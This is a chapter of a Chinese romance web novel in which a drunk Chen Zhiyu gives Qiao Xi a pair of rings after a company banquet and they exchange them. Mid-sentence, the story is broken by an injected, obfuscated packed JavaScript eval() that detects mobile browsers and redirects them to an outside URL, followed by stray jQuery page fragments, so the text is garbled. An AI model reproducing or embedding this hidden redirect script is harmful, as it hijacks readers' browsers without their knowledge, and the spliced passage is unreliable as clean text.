陈知昱哪里禁得住被乔希的软话刺激，两个人开完小会，把心中郁结讲明白，就开车回家，度过了一个愉快的周末。


    下周一就是年假前的最后一个工作周，陈知昱出差回来也没闲着。


    刘伟峰公司的年末业务已经到了收尾阶段。腊月二十七当天，天还没亮，陈知昱就匆匆去了公司，乔希醒来时都没见到人。


    这已经是他第四天加班了，每天行色匆匆，早出晚归。


    只等今天一结束，春节假期就算真的来临。乔希难得给自己化个精致的全妆，安静地坐在餐桌前，吃过陈知昱提前做好的早饭，便兴冲冲赶公交去上班。


    与汤宁表哥所在的公司合作顺利商定下来，只不过要到年后才正式进行。


    今天的工作量明显减少，整组的气氛也随之松弛，乔希他们只需要完成每天必完成的，也就没什么活了。


    时光飞逝，一上午时间就在愉悦中度过。


    午饭是乔希和小姚出去吃的，寒风迅猛，挟持着剧烈的寒意，在空旷的街道中肆意横行。


    两人去的不远处的商厦，点了两碗热腾腾的鸭血粉丝汤，乔希还怕自己吃不饱，又备了张烧饼。


    吃完午饭，乔希和小姚并肩走在回公司的路上。大风吹乱了她的发丝，也吹得她脸颊泛干。揣在兜里的手感受到手机的震动，乔希掏出手机，手机铃声在嘶吼的风声中显得微弱。看到屏幕上闪烁着陈知昱三个字，她按下了接听键。


    “什么事？”


    刚吃饱饭，防止灌一肚子凉风，乔希低下头，将外套拉链拉到头，半张脸都埋在了衣服里，从中传出的声音闷闷的，她不得不提高音量。


    电话那头，夹杂着聒噪风声的陈知昱的声音在她耳畔响起，“在哪？”


    乔希挑眉，随即打趣道：“查岗呢？我刚和小姚吃完饭，吃的鸭血粉丝汤，在附近大厦，味道还挺不错的。”


    想起自己那天的撒泼，陈知昱语塞片刻，一时间竟不知该如何回答。不过又很快恢复如常，他轻声说着，说话嗓音带着点似笑非笑，“没什么大事，就是想你了。”


    乔希被猝然的一句腻歪话搞得一愣，她抬头看了眼走在前边的小姚，见她没注意到这边才放心。


    感觉自己应该是被风吹的，脸僵得都使不出来表情，她压低声音骂道，“你有病吧，咱俩今早上才在同一个家门口前后离家，昨天晚上临睡前还互道了晚安，这才几个小时。再说了，还有不到五个小时就又见面了。”


    “你撒什么癔症。”


    可电话那头的陈知昱依旧执着地剖白，“可我就是想你。”可能怕她不信，还蓦然添了几分正经。


    不知道是被风吹的，还是因为陈知昱这肉麻的话，隔着厚重的外套，乔希都感觉到浑身上下起了一层鸡皮疙瘩。


    她假装生气，骂道，“滚蛋。”


    “你今天能来接我吗。”陈知昱还是用自己惯常的语气，生怕乔希拒绝，紧接着又补充，“今晚上公司有个内部酒局，我想你来接我。”


    乔希恍然大悟，“啊，合着在这等着我呢。”


    陈知昱又自顾自地说，“我都安排好了，你打车过来，咱们一块开车回家。”


    “你一会发我地址。”反正下了班没事，而且陈知昱好不容易主动提了要求，自己也没不满足的道理。


    这茬说完，乔希突然想起什么，“你倒是提醒我了，嫂子今上午给我发消息，让咱俩除夕去他们那。”


    刘伟峰和杨凌的儿子在国外回不来，两个人过年太单调，就想把乔希俩人叫过去一起热闹。


    陈知昱想都没想，直接拒绝，“不去。”


    “为什么？”


    “我只想和你，咱们两个人一起过年。”陈知昱的理由直白到可怕，怕自己表达不够深刻，再次开口明确拒绝，“反正就是不去。”


    听到陈知昱的强调，乔希笑着说道：“那行吧，我回绝她，等年初一咱再带礼品过去。”


    见她松口，陈知昱顿时兴致昂扬起来，“那好，咱们明天去买年货。”


    买年货，明明是这两年，他们都会做的事情。可今年，陈知昱却格外期待。或许是因为身边的乔希和他有了不同的关系，让这即将到来的新年赋予了不同的意义。


    被陈知昱的昂扬兴致激起来，乔希的心中也升腾起期待，俩人商定完就挂了电话。


    下班时候，乔希收拾好东西，正准备离开公司，又突然接到陈知昱的信息，“晚上别忘了接我。”跟个生怕被家长抛弃的幼儿园孩子一样，乔希无奈地笑了笑，回他，“知道了。”


    乔希先回家吃了晚饭，等看时间差不多了，才预备叫车。


    陈知昱发来的地址是在横城最有名的酒楼，到地也就晚上十点来钟。街上没什么行人，时不时只有车辆穿行。


    酒楼前灯红酒绿，七彩的灯光将门口位置照得灯火通明。也是赶巧，乔希刚下车，就看到门口聚了一群人。


    刘伟峰公司的领导都是上了年纪的，所以在一众人中，陈知昱简直是鹤立鸡群般的存在。


    陈知昱穿着长款的黑色羽绒服，直挺挺站在边上，整个人又看起来有些摇摇晃晃。


    他是喝得有点多了。这都要怪蔫坏的刘伟峰，用尽各种理由给他灌了不少酒，什么‘反正乔希来接你’，偏偏他很受用。不止他，刘伟峰还撺掇其他人，都是公司长辈，这半年对他很照顾，陈知昱只能硬生生接下。


    最后喝得眼神发飘，脚底打滑。


    临出来前，头就晕晕乎乎的，这会站在门口吹着风，彻底把酒劲儿都激发出来。陈知昱目光迷离，看哪都是乱糟糟一团麻线。


    可他站在台阶上，隔着这层乱乎乎的朦胧，一眼就准确找到了乔希的位置。


    乔希穿着和他一样的黑色长款羽绒服，买的时候理由很充分，耐脏，抗造。


    这种烂大街款式的羽绒服，反而在他心里堪比情侣装，陈知昱的嘴角不自觉往上提了提，迈着虚飘的步子，这段距离已经是他的极限，站定在乔希面前时，顺势栽倒在她的怀里。


    黑色融为一体。


    很长时间，陈知昱抱着她没动。


    乔希从兜里掏出手，扶着他的腰稳了稳，关切地问，“冷不冷？”她的本意是打算两人一起回车里。


    哪知陈知昱突然松开她，在乔希怔愣的眼神中，拉开衣服拉链，然后再把她拥入怀里。


    温暖瞬间将乔希包裹起来。陈知昱还只是紧紧地抱着她，一句话也不说。


    感受到陈知昱身上散发出来的浓郁的酒气，乔希在心里暗骂刘伟峰，这是给他灌了多少。


    喝醉酒的人的脑子都不会拐弯，这点她深有体会。乔希搂着他，半哄着说，“咱们先去车上好不好？”


    好在酒鬼够听话，两人七拐八拐地艰难上了车，“别看我，系好安全带。”乔希出声提醒。


    听到指令，陈知昱笨拙地抽出安全


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985060|193205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    带，动作缓慢，乔希无奈地解开安全带，越过他，替他整理。


    ......


    好不容易才将人拖进家门，陈知昱居然赖在客厅不动地方，任凭她怎么劝，都不肯脱衣服睡觉。


    看着坐在地毯上的酒鬼，乔希深吸一口气，蹲下身，视线与他平行，试图与酒鬼讲道理，“陈知昱，你到底想要做什么？”


    也许是听出乔希这番话中的愠气，陈知昱这才动作，他从上衣口袋里慢吞吞掏出一个四四方方的红盒子。


    盒子打开，黑色衬底上静静躺着一对漂亮的戒指。


    扭纹样式，其中一枚襄着半圈钻，在柔和灯光下闪着细碎的光，“什么时候买的？”乔希的喉咙发紧，声音也在颤抖。


    “好几天了。”陈知昱低头摩挲着盒子边沿，说话的语气有点委屈。


    “为什么当时没给我？”乔希跟着继续问道。


    陈知昱不说话了，抬起头，只是静静地看着乔希。黑色的眼珠被酒气氤氲，用雾蒙蒙的眼神盯着她。


    “怕我不收？”乔希轻声猜测。


    陈知昱执拗地摇了摇头，仍旧没说话。短短一年他成长太多，他清楚自己背负着债务，从经济方面，乔希完全可以选择更轻松的生活。


    当年是他缠着她，现在依旧是他缠着她。


    他爱得坦荡，爱得坚定，却也爱得纠结。


    乔希可以去选择一个良好的依靠，而不是和他绑在一起。可他是自私的，他也做不到放开手。


    所以他买了这对戒指，很坏心眼地想让乔希展示给所有对她有意的人。


    陈知昱喝得醉醺醺的，他捂住脸，埋藏许久的心里话随着指缝流泻出来，“我怕你遇到更好的丢下我，更怕你遇见更好的不丢下我。”


    屋子里很静，安静到陈知昱说出的每一个字都清晰地传到她的耳朵里，乔希用了很长时间才厘清他话里的意思。


    很长一段时间后，她轻叹口气，手在柔软的头发上压了压，乔希自己心里最清楚，她知道她最想要的是什么。


    她想要的是彼此陪伴，彼此打气，而不是一个完完全全的依赖。


    她想要的，是成为自己的依靠。


    她不会依靠陈知昱，更不会依靠其他人。除了自己，她不会依仗任何人。


    她不确定酒鬼能否听懂她话中的肯定，所以选择直接将纤长的右手伸在陈知昱的面前，轻声道，“给我戴上吧。”


    这句话犹如一道惊雷，瞬间劈开沉在陈知昱脑袋里的阴霾，他猛地抬起头，眼神中的迷茫和慌乱几乎是同时出现。


    乔希歪头冲他笑笑，慢慢朝他抬了抬右手无名指，佯怒地催促他，“快点呀。”


    陈知昱晕开眼中的泪水，颤抖着从盒子里取出女戒，戒指套在手上，在灯光的照耀下，闪烁着柔和的光芒。


    “很好看。”他哽咽着夸赞。


    乔希取出盒子里的另一枚，礼尚往来。


    两只手紧紧握在一起。


    陈知昱把头埋在乔希的膝盖，轻声承诺，声音闷闷的，“我这半年跟在刘伟峰身边学了不少东西，等再过两年我就能独立做项目了，到时就能拿到分成，不再是只拿死工资了。”


    “我算过了，这样的话用不了几年，我哥欠的钱我就能全部还清。”


    “乔希，请你再等等我，到那时候我才是从零开始。”


    他本身起步低，必须加倍努力才能追赶上她的步伐。